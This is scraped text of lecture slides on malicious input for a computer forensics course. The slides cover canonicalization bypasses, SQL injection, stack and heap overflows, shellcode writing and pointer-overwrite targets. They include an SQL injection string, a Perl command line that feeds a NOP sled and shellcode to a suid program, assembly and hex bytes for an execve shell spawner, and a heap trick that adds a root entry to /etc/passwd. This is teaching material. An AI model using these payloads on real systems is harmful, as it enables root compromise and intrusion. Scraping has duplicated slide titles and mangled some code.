Скачать презентацию Computer Forensics Use of Malicious Input Buffer Скачать презентацию Computer Forensics Use of Malicious Input Buffer

b3a16f5bb62428ac96fc32f13d2a769f.ppt

  • Количество слайдов: 147

Computer Forensics Use of Malicious Input Computer Forensics Use of Malicious Input

Buffer and Heap Overflow Attacks n n Standard Tool to Break Into Systems. Used Buffer and Heap Overflow Attacks n n Standard Tool to Break Into Systems. Used for Access Escalation. Very Common. Prototype of an Attack Mode.

Beware of User Input n n Anonymous FTP should allow access to files selectively. Beware of User Input n n Anonymous FTP should allow access to files selectively. One implementation parsed the file name. Assume /pub/acc is an allowed directory. Request: get /pub/acc/. . /etc/passwd

Beware of User Input n n This implementation only parsed the first part of Beware of User Input n n This implementation only parsed the first part of the string. Decided access is OK n n n get /pub/acc/. . /etc/passwd Allowed access to any file. Took several versions before the security breach was firmly patched.

Morale: n Don’t reinvent the wheel. n n n Parsing input is difficult. n Morale: n Don’t reinvent the wheel. n n n Parsing input is difficult. n n Other implementations used a sandbox. Community has learned how to get it right. Users have an incentive to be inventive. ALL INPUT IS EVIL

ALL INPUT IS EVIL n Canonical Representation Issues n n Canonicalization: Translates name to ALL INPUT IS EVIL n Canonical Representation Issues n n Canonicalization: Translates name to standard representation. Canonical Filenames n n Napster Name Filtering. Ordered to restrict access to certain songs. Access was denied based on name of the song. Users bypassed it with uncanonical song names n n Deepest Chill Deepest Chi 11 Candyman Andyman. Cay (in pig latin)

ALL INPUT IS EVIL n Mac OS X and Apache Vulnerability n n n ALL INPUT IS EVIL n Mac OS X and Apache Vulnerability n n n HFS+ is case insensitive. Apache uses text-based configuration files, that are case sensitive, to determine Disallow access to directory scripts: order deny, allow deny from all

ALL INPUT IS EVIL n Denies user request http: //www. mysite. org/scripts/index. html n ALL INPUT IS EVIL n Denies user request http: //www. mysite. org/scripts/index. html n Allows user request http: //www. mysite. org/SCRIPTS/index. html

ALL INPUT IS EVIL n n n Sun Star. Office /tmp directory symbolic link ALL INPUT IS EVIL n n n Sun Star. Office /tmp directory symbolic link vulnerability Symbolic link: file that points to another file. Symbolic links do not share access rights with the file they point to.

ALL INPUT IS EVIL n n Sun Star. Office creates file /tmp/soffice. tmp with ALL INPUT IS EVIL n n Sun Star. Office creates file /tmp/soffice. tmp with 0777 access mask. Attacker links /tmp/soffice. tmp to /etc/passwd. Root runs Star. Office Permissions on /etc/passwd would get changed to 0777.

Canonicalization Issues n n Subsystems cooperate. First subsystem does not canonicalize input in the Canonicalization Issues n n Subsystems cooperate. First subsystem does not canonicalize input in the way the second one does.

Canonicalization Issues n Common when software make decisions on file names n n 8. Canonicalization Issues n Common when software make decisions on file names n n 8. 3 representation of file names IIS looks at extensions. Request to ***. asp: : $DATA is routed to asp. dll. But this is a NTFS stream, that sends the ASP source code to the user. Trailing dots or slashes n “secret. File. doc. ” is same as “secret. File. doc” for Windows

Canonicalization Issues n n n AOL 5. 0 parental controls: n n \? tempmyfile Canonicalization Issues n n n AOL 5. 0 parental controls: n n \? tempmyfile is the same as tempmyfile Directory traversal . . / Bypass restriction on URL by adding period to file name. Secure IIS verifies incoming and outgoing data n n n Use hexcode: %64 elete instead of delete for key words. Use “%2 e%2 e/” for “. . /” Two canonalization issues in Security Software!

Canonicalization Issues n Lines with carriage returns: n Assume logging of file access: 111. Canonicalization Issues n Lines with carriage returns: n Assume logging of file access: 111. 11. 11 Mike 2004 -02 -19 13: 02: 12 file. txt n Attacker accesses file: file. txtrn 127. 0. 0. 1t. Tom 2004 -02 -19t 13: 02: 12tsecret. doc n Log entry: 111. 11. 11 Mike 2004 -02 -19 13: 02: 12 file. txt 127. 0. 0. 1 Tom 2004 -02 -19 13: 02: 12 secret. doc

Canonicalization Issues n Escaping: Many ways to represent a character n n n US-ASCII Canonicalization Issues n Escaping: Many ways to represent a character n n n US-ASCII Hexadecimal escape codes UTF-8 variable width encoding UCS-2 Unicode encoding HTML escape codes Double Escaping

Canonicalization Issues n n Homograph Attacks Characters look the same, but are not Latin Canonicalization Issues n n Homograph Attacks Characters look the same, but are not Latin letter “o” Cyrillic character “o” (U+043 E)

Morale n n n Software should not make decisions based on names. If it Morale n n n Software should not make decisions based on names. If it has do, enforce name restrictions Don’t trust relative paths.

Data Base Inputs n Don’t trust the user. n n n Data base access Data Base Inputs n Don’t trust the user. n n n Data base access over the web lead to execution of sql code. string sql = “select * from client where name = ‘” + name + “’” Variable name provided by user If name is Schwarz, this executes string sql = “select * from client where name = ‘schwarz’”

Data Base Inputs n User enters: n n The sql statement becomes n n Data Base Inputs n User enters: n n The sql statement becomes n n n Schwarz’ or 1=1 - string sql = “select * from client where name = ‘schwarz’ or 1=1 - -” Selects all clients - - SQL comment, comments out everything behind.

Buffer Overflow Attacks n Stack: push and pop Buffer Overflow Attacks n Stack: push and pop

Buffer Overflow Attacks n Memory used by a program is split into segments. n Buffer Overflow Attacks n Memory used by a program is split into segments. n n Data segment – global program variables BSS segment – static program variables Heap – dynamic program variables Stack – procedure call data and local variables

Buffer Overflow Attack int main(int argc, char* argv[]) { foo(argv[1]); return 0; } void Buffer Overflow Attack int main(int argc, char* argv[]) { foo(argv[1]); return 0; } void foo(const char* input) { char buf[10]; printf("Hello Worldn"); }

Buffer Overflow Attack int main(int argc, char* argv[]) { foo(argv[1]); return 0; } void Buffer Overflow Attack int main(int argc, char* argv[]) { foo(argv[1]); return 0; } void foo(const char* input) { char buf[10]; printf("Hello Worldn"); }

Buffer Overflow Attack n Works by overwriting the return address to jump somewhere else. Buffer Overflow Attack n Works by overwriting the return address to jump somewhere else.

Buffer Overflow Attack #pragma check_stack(off) #include <string. h> #include <stdio. h> void foo(const char* Buffer Overflow Attack #pragma check_stack(off) #include #include void foo(const char* input) { char buf[10]; printf("My stack looks like: n%pn%pn%pnn"); strcpy(buf, input); printf("%sn", buf); printf("Now the stack looks like: n%pn%pn%pnn"); }

Buffer Overflow Attack void bar(void) { printf( Buffer Overflow Attack void bar(void) { printf("Augh! I've been hacked!n"); }

Buffer Overflow Attack int main(int argc, char* argv[]) { printf( Buffer Overflow Attack int main(int argc, char* argv[]) { printf("Address of foo = %pn", foo); printf("Address of bar = %pn", bar); if (argc != 2) { printf("Please supply a string as an argument!n"); return -1; } foo(argv[1]); return 0; }

Buffer Overflow Attack Chapter 05>stackoverrun. exe Hello Address of foo = 00401000 Address of Buffer Overflow Attack Chapter 05>stackoverrun. exe Hello Address of foo = 00401000 Address of bar = 00401050 My stack looks like: 00000 A 28 7 FFDF 000 0012 FEE 4 004010 BB 0032154 D Hello Now the stack looks like: 6 C 6 C 6548 0000006 F 7 FFDF 000 0012 FEE 4 004010 BB 0032154 D

Buffer Overflow Attack Chapter 05>stackoverrun. exe Hello Address of foo = 00401000 Address of Buffer Overflow Attack Chapter 05>stackoverrun. exe Hello Address of foo = 00401000 Address of bar = 00401050 My stack looks like: 00000 A 28 7 FFDF 000 0012 FEE 4 004010 BB 0032154 D Hello Now the stack looks like: 6 C 6 C 6548 0000006 F 7 FFDF 000 0012 FEE 4 004010 BB 0032154 D

Buffer Overflow Attack Buffer Overflow Attack

Buffer Overflow Attack n n If we overflow the buffer, then we overwrite the Buffer Overflow Attack n n If we overflow the buffer, then we overwrite the return address. If we overwrite the return address, then (mostly), the memory location executed after the return does not belong to the program. Segmentation Fault. O. K. , now we know how to write programs that crash!!!!

Buffer Overflow Attack n n By looking at the program and its output, we Buffer Overflow Attack n n By looking at the program and its output, we can write the address of bar into the return address. This will cause the execution to go to bar.

Buffer Overflow Attack Buffer Overflow Attack

Buffer Overflow Attack Buffer Overflow Attack

Buffer Overflow Attack n n This is fun, but useless. Real attack: overwrite return Buffer Overflow Attack n n This is fun, but useless. Real attack: overwrite return address so that code execution jumps into the input given by attacker.

Buffer Overflow Attack n To protect against signatures, structure input n n n Varying Buffer Overflow Attack n To protect against signatures, structure input n n n Varying stuff such as NOP sled execve(/bin/sh) (gives new shell with program privileges in UNIX) Pointer to execve statement. n This pointer overwrites the return address.

Buffer Overflow Attack n Finding vulnerabilities n n Script-kiddies scan target with automated tool. Buffer Overflow Attack n Finding vulnerabilities n n Script-kiddies scan target with automated tool. Tool creator has detailed analysis of vulnerabilities. n n Look for strcpy, gets, getws, memcpy memmove, scanf, … Alternatively, just cram the application until it crashes. n Crash used to give you locations of registers.

Buffer Overflow Attack n n Example: Cram in lots of input of As. Program Buffer Overflow Attack n n Example: Cram in lots of input of As. Program crashes, EIP has value 4141. Sign of buffer overflow. Now try to feed more specific input.

Buffer Overflow Attack Buffer Overflow Attack

Buffer Overflow Attack n n n Attack signature can be used by IDS. Vary Buffer Overflow Attack n n n Attack signature can be used by IDS. Vary the NOP commands. Many alternatives.

Buffer Overflow Attack n Protection n n Make stack non-executable. Use canary birds. Buffer Overflow Attack n Protection n n Make stack non-executable. Use canary birds.

Buffer Overflow Attack n n Stack Guard MS Visual Studio use canaries. Buffer Overflow Attack n n Stack Guard MS Visual Studio use canaries.

Buffer Overflow Attack n (Used to) Happen a lot: n n Most frequent vulnerability Buffer Overflow Attack n (Used to) Happen a lot: n n Most frequent vulnerability according to CERT MS Outlook Vcard: Virtual business card buffer overflow vulnerability. n n IIS 5 Internet Printing Protocol

Heap Overflow Attack n n n These protections do not apply to heaps, where Heap Overflow Attack n n n These protections do not apply to heaps, where dynamically allocated memory resides. Some of this memory contains the addresses of functions that are going to be called. Harder to find, harder to protect against.

Remember: People attack computer systems because they can. Remember: People attack computer systems because they can.

Buffer Overflow Details n This function just mismanages the stack: int main ( int Buffer Overflow Details n This function just mismanages the stack: int main ( int argc, char* argv[]) { char buffer[500]; strcpy(buffer, argv[1]); return 0; }

Buffer Overflow Attack Details n Assume that this program is a suid root program: Buffer Overflow Attack Details n Assume that this program is a suid root program: $ sudo chown root vuln $ sudo chmod +s vuln $ ls –l vuln -rwsr-sr-x 1 root linux. User 4934 May

Buffer Overflow Attack Details n We need three ingredients to break this code: n Buffer Overflow Attack Details n We need three ingredients to break this code: n n NOP sled Shell-code n n Assembly language code that spawns a shell Return address (into the beginning of the overflowing buffer) n n Need to guess approximate location of the buffer Use current stack pointer to estimate beginning of buffer

Buffer Overflow Attack Details n n n Put shell code into a file (called Buffer Overflow Attack Details n n n Put shell code into a file (called shellcode) Use Perl scripting to provide input. *nix example: n $. /vuln ‘perl –e `print “x 90”x 202; ``cat shellcode` `perl –e print “x 78xf 9xffxbf”x 88 n n For this to work, the return address must be correctly aligned on a word boundary In this case, the shell code has 42 B. NOP sled + shell code = 244 B = 61 words, which leads to correct alignment. (Using the ` character (under tilde) gives command substitution, we thus provide. /vuln with the correct parameters. )

Buffer Overflow Attack Details n n In the previous example, the buffer was big Buffer Overflow Attack Details n n In the previous example, the buffer was big enough to contain the nop sled, the shell code and a bunch of return addresses. If the buffer is small, we can use environmental variables.

Buffer Overflow Attack Details n Assume that we have this suid program: int main(int Buffer Overflow Attack Details n Assume that we have this suid program: int main(int argc, char argv[]) char buffer[5]; strcpy(buffer, argv[1]); return 0; } {

Buffer Overflow Attack Details n n In this example, the buffer is too small Buffer Overflow Attack Details n n In this example, the buffer is too small to contain the shell code. Strategy: n n Place the shell code into the heap. Fill the entire buffer with a return address that points to the shell code.

Buffer Overflow Attack Details n In the bash shell n n n Create an Buffer Overflow Attack Details n In the bash shell n n n Create an environmental variable containing the shell code. Calculate the address of the environmental variable. Overflow the buffer with the address of that environmental variable.

Buffer Overflow Attack Details n In the bash shell, set environmental variable with export Buffer Overflow Attack Details n In the bash shell, set environmental variable with export VARNAME = variable n $ export SHELLCODE=`perl –e ‘print “x 90”x 100; ’ ` cat shellcode ‘

Buffer Overflow Attack Details n To find the address of this environmental variable n Buffer Overflow Attack Details n To find the address of this environmental variable n Use gdb n n Set breakpoint right at the beginning of program Use the gdb command x/20 s $esp n n n To see strings in stack memory Look for “SHELLCODE =“ Once the shellcode is located, figure out an address that leads to the NOP sled

Buffer Overflow Attack Details n To find the address of this environmental variable n Buffer Overflow Attack Details n To find the address of this environmental variable n Use a program that calls getenv(SHELLCODE) and returns the value n n n printf(“address is %pn”, getenv(SHELLCODE)); Calculate the address of SHELLCODE This allows us to eliminate the NOP sled

Writing Shell Code needs to call n n execve() setreuid() n n To restore Writing Shell Code needs to call n n execve() setreuid() n n To restore root privileges after they are dropped. (Recall: we are using a suid program, they might drop root privileges).

Writing Shell Code n System level calls are made with an interrupt n int Writing Shell Code n System level calls are made with an interrupt n int 0 x 80 n Parameters are put into registers.

Writing Shell Code n setreuid: mov eax, 70; syscall number is 70 mov ebx, Writing Shell Code n setreuid: mov eax, 70; syscall number is 70 mov ebx, 0; real uid set to root mov ecx, 0; set effective uid to root int 0 x 80

Writing Shell Code section. data filepath db “/bin/sh. XAAAABBBB” section. text mov eax, 0; Writing Shell Code section. data filepath db “/bin/sh. XAAAABBBB” section. text mov eax, 0; mov ebx, filepath ebx points to /bin/sh. XAAAABBBB /bin/sh 0 aaaa. BBBB where aaaa is the address of /bin/sh 0 aaaa 0000 since eax contains 0000 mov [ebx+7], al mov[ebx+8], ebx mov [ebx+12] , eax mov eax, 11; since execve is syscall 11 lea ecx, [ebx+8]; load ecx with command addr lea edx, [ebx+12]; load edx with second para. 0 int 0 x 80 Code for execve

Writing Shell Code n This program spawns a shell. n n But string is Writing Shell Code n This program spawns a shell. n n But string is still contained in the data segment. This will not work if shell code needs to be injected into existing code.

Writing Shell Code n Using EIP n n n A call instruction will load Writing Shell Code n Using EIP n n n A call instruction will load the EIP with a memory address. The address of the next instruction, the return address, is pushed on the stack. Call trick: n Jump to the end of the code. n n n (The string follows the end of the code. ) Make a call to the beginning of the code. Remove the return address from the stack

Writing Shell Code n n Call and jmp can use addresses relative to EIP Writing Shell Code n n Call and jmp can use addresses relative to EIP call n n pushes return address on stack right after call: n n pop off return address call now returns to the address specified by top of stack

Writing Shell Code jmp two one: pop ebx <program code here> two: call one Writing Shell Code jmp two one: pop ebx two: call one db ‘/bin/sh 0’ ebx contains the address of the string Stack after call one:

Writing Shell Code n n Put everything together and you have shell code. If Writing Shell Code n n Put everything together and you have shell code. If you look at it in hex, you will see: B 8 46 00 00 00 BB 00 00 B 9 00 00 CD 80 EB 1 C 5 B B 8 00 00 88 43 07 89 5 B 08 89 43 0 C B 8 0 B 00 00 00 8 D 4 B 08 8 D 53 0 C CD 80 E 8 ….

Writing Shell Code n n If you give zeroes as input, any self-respecting Cstring Writing Shell Code n n If you give zeroes as input, any self-respecting Cstring function will assume the end of string. Some of the zeroes come from using the parameter zero. n To load register eax with zero, use n n xor eax, eax Sometimes, a zero byte is part of a parameter. n n Load only half of a register: Replace n n mov eax, 70 with n n xor eax, eax mov al, 70

Writing Shell Code n Polymorphic Shell Code n n IDS can look for shell Writing Shell Code n Polymorphic Shell Code n n IDS can look for shell code signature IDS could insist on all input being printable. n n n Make shell code that only consists of printable characters. Bigger and harder to do, but possible. Phiral Research Laboratories has a tool called dissembler that translates byte code into byte code that is printable.

Heap Buffer Overflow Attack n n Are not standardized such as buffer overflow attacks. Heap Buffer Overflow Attack n n Are not standardized such as buffer overflow attacks. Need to find something important in the heap that is stored after an overflowable buffer. n An important variable n n n User permissions Authentication status A function pointer

Heap Buffer Overflow Attack Program appends userinput (up to 19 B) into a file Heap Buffer Overflow Attack Program appends userinput (up to 19 B) into a file called “/tmp/notes”

Heap Buffer Overflow Attack n n Memory for *userinput is located before *outputfile Distance Heap Buffer Overflow Attack n n Memory for *userinput is located before *outputfile Distance between the two is 24 n n As revealed by debugging As revealed by inputting successively longer strings. n Up to 23 B input is tolerated. n Remember to add the additional zero

Heap Buffer Overflow Attack n Assume that this is a suid program Heap Buffer Overflow Attack n Assume that this is a suid program

Heap Buffer Overflow Attack n How do we overflow the heap? n Input 1234567890123 Heap Buffer Overflow Attack n How do we overflow the heap? n Input 1234567890123 testfile n n Writes to testfile instead. Testfile contains n 1234567890123 testfile

Heap Buffer Overflow Attack n Can use the same trick to append to the Heap Buffer Overflow Attack n Can use the same trick to append to the password file. n n Problem: Need to craft the entry to fit. Desired entry: n n n myroot: : 0: 0: me: /root: /bin/bash However, somewhere there we have to get an /etc/passwd in. Solution: Use a symbolic link

Heap Buffer Overflow Attack n Create a symbolic link so that an entry can Heap Buffer Overflow Attack n Create a symbolic link so that an entry can be both a shell and end in /etc/passwd:

Heap Buffer Overflow Attack n This means that this is a valid password file Heap Buffer Overflow Attack n This means that this is a valid password file line: n n myroot: : 0: 0: me: /root: /tmp/etc/passwd Now we need to modify this string so that /etc/passwd start with byte 24 n myroot: : 0: 0: m: /root: /tmp/etc/passwd works.

Heap Buffer Overflow Attack n This is a fairly contrived example, but explains the Heap Buffer Overflow Attack n This is a fairly contrived example, but explains the ideas well.

Pointer Subterfuge n Pointer Subterfuge is a general expression for exploits that modify a Pointer Subterfuge n Pointer Subterfuge is a general expression for exploits that modify a pointer’s value. n n Function pointers are overwritten to transfer control to an attacker supplied shellcode. Data pointers can also be changed to modify the program flow according to the attacker’s wishes.

Pointer Subterfuge n Using a buffer overflow: n n n Buffer must be allocated Pointer Subterfuge n Using a buffer overflow: n n n Buffer must be allocated in the same segment as the target pointer. Buffer must have a lower memory address than the target pointer. Buffer must be susceptible to a buffer overflow exploit.

Pointer Subterfuge n n UNIX executables contain both a data and a BSS segment. Pointer Subterfuge n n UNIX executables contain both a data and a BSS segment. The data segment contains all initialized global variables and constants. The Block Started by Symbols (BSS) segment contains all uninitialized global variables. Initialized global variables are separated from uninitialized variables.

Pointer Subterfuge 1. static int GLOBAL_INIT = 1; /* data segment, global */ 2. Pointer Subterfuge 1. static int GLOBAL_INIT = 1; /* data segment, global */ 2. static int global_uninit; /* BSS segment, global */ 3. 4. void main(int argc, char **argv) { /* stack, local */ 5. int local_init = 1; /* stack, local */ 6. int local_uninit; /* stack, local */ 7. static int local_static_init = 1; /* data seg, local */ 8. static int local_static_uninit; /* BSS segment, local */ /* storage for buff_ptr is stack, local */ /* allocated memory is heap, local */ 9. }

Pointer Subterfuge void good_function(const char *str) { //do something } int main(int argc, char Pointer Subterfuge void good_function(const char *str) { //do something } int main(int argc, char **argv) { if (argc !=2){ printf("Usage: prog_name n"); exit(-1); } static char buff [BUFFSIZE]; static void (*func. Ptr)(const char *str); func. Ptr = &good_function; strncpy(buff, argv[1], strlen(argv[1])); (void)(*func. Ptr)(argv[2]); return 0; }

Pointer Subterfuge n n Program vulnerable to buffer overflow exploit. Both buffer and function Pointer Subterfuge n n Program vulnerable to buffer overflow exploit. Both buffer and function pointer are uninitialized and hence stored in BSS segment.

Pointer Subterfuge void good_function(const char *str) { //do something } int main(int argc, char Pointer Subterfuge void good_function(const char *str) { //do something } int main(int argc, char **argv) { if (argc !=2){ printf("Usage: prog_name n"); exit(-1); } static char buff [BUFFSIZE]; static void (*func. Ptr)(const char *str); func. Ptr = &good_function; strncpy(buff, argv[1], strlen(argv[1])); (void)(*func. Ptr)(argv[2]); return 0; }

Function Pointer Example 1. void good_function(const char *str) {. . . } 2. void Function Pointer Example 1. void good_function(const char *str) {. . . } 2. void main(int argc, char **argv) { 3. static char buff[BUFFSIZE]; The static character 4. static void (*func. Ptr)(const char *str); array buff 5. func. Ptr = &good_function; 6. strncpy(buff, argv[1], strlen(argv[1])); 7. (void)(*func. Ptr)(argv[2]); 8. } func. Ptr declared are both uninitialized and stored in the BSS segment.

Function Pointer Example 1. void good_function(const char *str) {. . . } 2. void Function Pointer Example 1. void good_function(const char *str) {. . . } 2. void main(int argc, char **argv) { 3. static char buff[BUFFSIZE]; 4. static void (*func. Ptr)(const char *str); 5. func. Ptr = &good_function; 6. strncpy(buff, argv[1], strlen(argv[1])); 7. (void)(*func. Ptr)(argv[2]); 8. } A buffer overflow occurs when the length of argv[1] exceeds BUFFSIZE.

Function Pointer Example 1. void good_function(const char *str) {. . . } 2. void Function Pointer Example 1. void good_function(const char *str) {. . . } 2. void main(int argc, char **argv) { 3. static char buff[BUFFSIZE]; 4. static void (*func. Ptr)(const char *str); 5. func. Ptr = &good_function; 6. strncpy(buff, argv[1], strlen(argv[1])); 7. (void)(*func. Ptr)(argv[2]); 8. } When the program invokes the function identified by func. Ptr, the shellcode is invoked instead of good_function().

Data Pointers Example void foo(void * arg, size_t len) char buff[100]; long val = Data Pointers Example void foo(void * arg, size_t len) char buff[100]; long val = …; long *ptr = …; memcpy(buff, arg, len); *ptr = val; … return; } { Buffer is vulnerable to overflow. Both val and ptr are located after the buffer and can be overwritten. This allows a buffer overflow to write an arbitrary address in memory.

Data Pointers n n Arbitrary memory writes can change the control flow. This is Data Pointers n n Arbitrary memory writes can change the control flow. This is easier if the length of a pointer is equal to the length of important data structures. n Intel 32 Architectures: n sizeof(void*) = sizeof(int) = sizeof(long) = 4 B.

Instruction Pointer Modification n Instruction Counter (IC) (a. k. a Program Counter (PC)) contains Instruction Pointer Modification n Instruction Counter (IC) (a. k. a Program Counter (PC)) contains address of next instruction to be executed. n n n Intel: EIP register. IC cannot be directly manipulated. IC is incremented or changed by a number of instructions: n n jmp Conditional jumps call ret

Instruction Pointer Modification int _tmain(int argc, _TCHAR* argv[]) { if (argc !=1){ printf( Instruction Pointer Modification int _tmain(int argc, _TCHAR* argv[]) { if (argc !=1){ printf("Usage: prog_namen"); Invoke good function through a pointer. exit(-1); } static void (*func. Ptr)(const char *str); func. Ptr = &good_function; Invoke good function (void)(*func. Ptr)("hi "); directly. good_function("there!n"); return 0; }

Instruction Pointer Modification First invocation of good function. void)(*func. Ptr)(“hi “); Machine code is Instruction Pointer Modification First invocation of good function. void)(*func. Ptr)(“hi “); Machine code is 00424178 mov esi, esp 0042417 A push offset string "hi" (46802 Ch) ff 15 00 84 47 00. 0042417 F call dword ptr [func. Ptr (478400 h)] The last four bytes are the address of the 00424185 add esp, 4 called function. 00424188 cmp esi, esp good_function(“there!n”); Second invocation of 0042418 F push offset string "there!n" (468020 h) good function. 00424194 call good_function (422479 h) Machine code is 00424199 add esp, 4 e 8 e 0 e 2 ff ff. The last four bytes are the relative address of the called function.

Instruction Pointer Modification n Static invocation uses an immediate value for the address of Instruction Pointer Modification n Static invocation uses an immediate value for the address of the function. n n Address is encoded in the instruction. Address is calculated and put into IC. It cannot be changed without changing the executable. Invocation through function pointer is indirect. n Future value of IC is in a memory location that can be changed.

Instruction Pointer Modification n Controlling the IC gives attacker the chance to select code Instruction Pointer Modification n Controlling the IC gives attacker the chance to select code to be selected. n n Easy if attacker can write an arbitrary memory address. Function invocations that cannot be resolved at compile time are vulnerable.

Targets for Instruction Pointer Modification: Global Offset Table n Windows and Linux use a Targets for Instruction Pointer Modification: Global Offset Table n Windows and Linux use a similar mechanism for linking and transferring control for library functions. n n Windows is not exploitable. Linux is.

Targets for Instruction Pointer Modification: Global Offset Table n ELF (executable & linking format) Targets for Instruction Pointer Modification: Global Offset Table n ELF (executable & linking format) n Default binary format for n n n Linux Solaris 2. x SVR 4 Adopted by TIS (Tool Interface Standards Committee) Global Offset Table (GOT) n n n Included in process space of ELF binaries. GOT contains absolute addresses. Allows easy dynamic linking.

Targets for Instruction Pointer Modification: Global Offset Table n GOT n n n Initially, Targets for Instruction Pointer Modification: Global Offset Table n GOT n n n Initially, GOT entry contains address of RTL (runtime linker) If that function is called, the RTL resolves the real address of the intended function and puts it into GOT. Subsequent calls invoke the function directly.

Targets for Instruction Pointer Modification: Global Offset Table # RTL GOT # RTL Invoke Targets for Instruction Pointer Modification: Global Offset Table # RTL GOT # RTL Invoke RTL # printf # RTL resolves address. # RTL … # RTL main RTL writes address into GOT Program calls printf First call to printf Go to GOT and invoke function there … …

Targets for Instruction Pointer Modification: Global Offset Table n Address of a GOT entry Targets for Instruction Pointer Modification: Global Offset Table n Address of a GOT entry is fixed in the ELF executable. n n It does not vary between executable process images. Use objdump to obtain the address of a GOT entry.

Targets for Instruction Pointer Modification: Global Offset Table % objdump --dynamic-reloc test-prog format: file Targets for Instruction Pointer Modification: Global Offset Table % objdump --dynamic-reloc test-prog format: file format elf 32 -i 386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049 bc 0 R_386_GLOB_DAT __gmon_start__ 08049 ba 8 R_386_JUMP_SLOT __libc_start_main 08049 bac R_386_JUMP_SLOT strcat 08049 bb 0 R_386_JUMP_SLOT printf 08049 bb 4 R_386_JUMP_SLOT exit 08049 bb 8 R_386_JUMP_SLOT sprintf 08049 bbc R_386_JUMP_SLOT The strcpy offsets specified for each R_386_JUMP_SLOT relocation record contain the address of the specified function (or the RTL linking function)

Targets for Instruction Pointer Modification: Global Offset Table n How to use GOT? n Targets for Instruction Pointer Modification: Global Offset Table n How to use GOT? n n n Attacker needs to provide their own shellcode. Attacker needs to be able to write an arbitrary value to an arbitrary address. Attack: n Attacker overwrites GOT entry (that is going to be used) with the address of their shellcode.

Targets for Instruction Pointer Modification: . dtors n gcc allows attributes n keyword is Targets for Instruction Pointer Modification: . dtors n gcc allows attributes n keyword is __attribute__ static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); n constructor attribute: n n destructor attribute: n n function will be executed before main() function will be executed just after main() exits. ELF places these in the. ctors and the. dtors sections.

Targets for Instruction Pointer Modification: . dtors static void create(void) __attribute__ ((constructor)); static void Targets for Instruction Pointer Modification: . dtors static void create(void) __attribute__ ((constructor)); static void destroy (void) __attribute__ ((destructor)); int main(int argc, char *argv[]) { printf("create: %p. n", create); printf("destroy: %p. n", destroy); exit(EXIT_SUCCESS); } void create(void) { printf("create called. n"); } void destroy(void) { printf("destroy called. n"); } create called. create: 0 x 80483 a 0. destroy: 0 x 80483 b 8. destroy called.

Targets for Instruction Pointer Modification: . dtors n Both sections have the following layout: Targets for Instruction Pointer Modification: . dtors n Both sections have the following layout: n n n 0 xffff {function-address} 0 x 0000 The. ctors and. dtors sections are mapped into the process address space and are writable by default. Constructors have not been used in exploits because they are called before the main program. The focus is on destructors and the. dtors section. The contents of the. dtors section in the executable image can be examined with the objdump command.

Targets for Instruction Pointer Modification: . dtors n n n An attacker can transfer Targets for Instruction Pointer Modification: . dtors n n n An attacker can transfer control to arbitrary code by overwriting the address of the function pointer in the. dtors section. If the target binary is readable by an attacker, an attacker can find the exact position to overwrite by analyzing the ELF image. The. dtors section is present even if no destructor is specified. The. dtors section consists of the head and tail tag with no function addresses between. It is still possible to transfer control by overwriting the tail tag 0 x 0000 with the address of the shellcode. If the shellcode returns, the process will call subsequent addresses until a tail tag is encountered or a fault occurs.

Targets for Instruction Pointer Modification: . dtors n For an attacker, overwriting the. dtors Targets for Instruction Pointer Modification: . dtors n For an attacker, overwriting the. dtors section has advantages over other targets: n n . dtors is always present and mapped into memory. However: n n The. dtors target only exists in programs that have been compiled and linked with GCC. It is difficult to find a location to inject the shellcode onto so that it remains in memory after main() has exited.

Targets for Instruction Pointer Modification: Virtual Functions n Important feature for OO programming. n Targets for Instruction Pointer Modification: Virtual Functions n Important feature for OO programming. n n Allows dynamic binding (resolved during run-time) of function calls. Virtual function is: n n A member function of a class Declared with virtual keyword Usually has a different functionality in the derived class A function call is resolved at run-time

Targets for Instruction Pointer Modification: Virtual Functions #include <iostream> using namespace std; class a Targets for Instruction Pointer Modification: Virtual Functions #include using namespace std; class a { public: void f(void) { cout << "base f" << endl; }; virtual void g(void) { cout << "base g" << endl; }; }; class b: public a { public: void f(void) { cout << "derived f" << endl; }; void g(void) { cout << "derived g" << endl; }; }; int main(int argc, char *argv[]) { a *my_b = new b(); my_b->f(); my_b->g(); return 0; }

Targets for Instruction Pointer Modification: Virtual Functions n Typical Implementation: n n Virtual Function Targets for Instruction Pointer Modification: Virtual Functions n Typical Implementation: n n Virtual Function Table (VTBL). Array of function pointers used at runtime for dispatching virutal function calls. Each individual object pointer points to the VTBL via a VPTR in the object header. VTBL contains pointers to all implementations of a virtual function. b-obj: VTBL: my_b code for g() VPTR g()

Targets for Instruction Pointer Modification: Virtual Functions n Attacker can: overwrite function pointers in Targets for Instruction Pointer Modification: Virtual Functions n Attacker can: overwrite function pointers in the VTBL or n change the VPTR to point to a new VTBL. n n Attacker can use an arbitrary memory write or a buffer overflow directly on the object.

Targets for Instruction Pointer Modification: atexit() on_exit() n atexit() n n n General utility Targets for Instruction Pointer Modification: atexit() on_exit() n atexit() n n n General utility defined in C 99 Registers a function to be called at normal program termination. C 99 allows registration of at least 32 functions.

Targets for Instruction Pointer Modification: atexit() on_exit() n n Similar functionality under Sun. OS Targets for Instruction Pointer Modification: atexit() on_exit() n n Similar functionality under Sun. OS Present in libc 4, libc 5, glibc

Targets for Instruction Pointer Modification: atexit() on_exit() #include <stdio. h> char *glob; void test(void) Targets for Instruction Pointer Modification: atexit() on_exit() #include char *glob; void test(void) { printf("%s", glob); } int main(void) { atexit(test); glob = "Exiting. n"; }

Targets for Instruction Pointer Modification: atexit() on_exit() n n n atexit() adds a specific Targets for Instruction Pointer Modification: atexit() on_exit() n n n atexit() adds a specific function to an array of functions to be called when exiting. exit() invokes each function in LIFO order. Array is allocated as a global symbol n n __atexit in BSD __exit_funcs in Linux

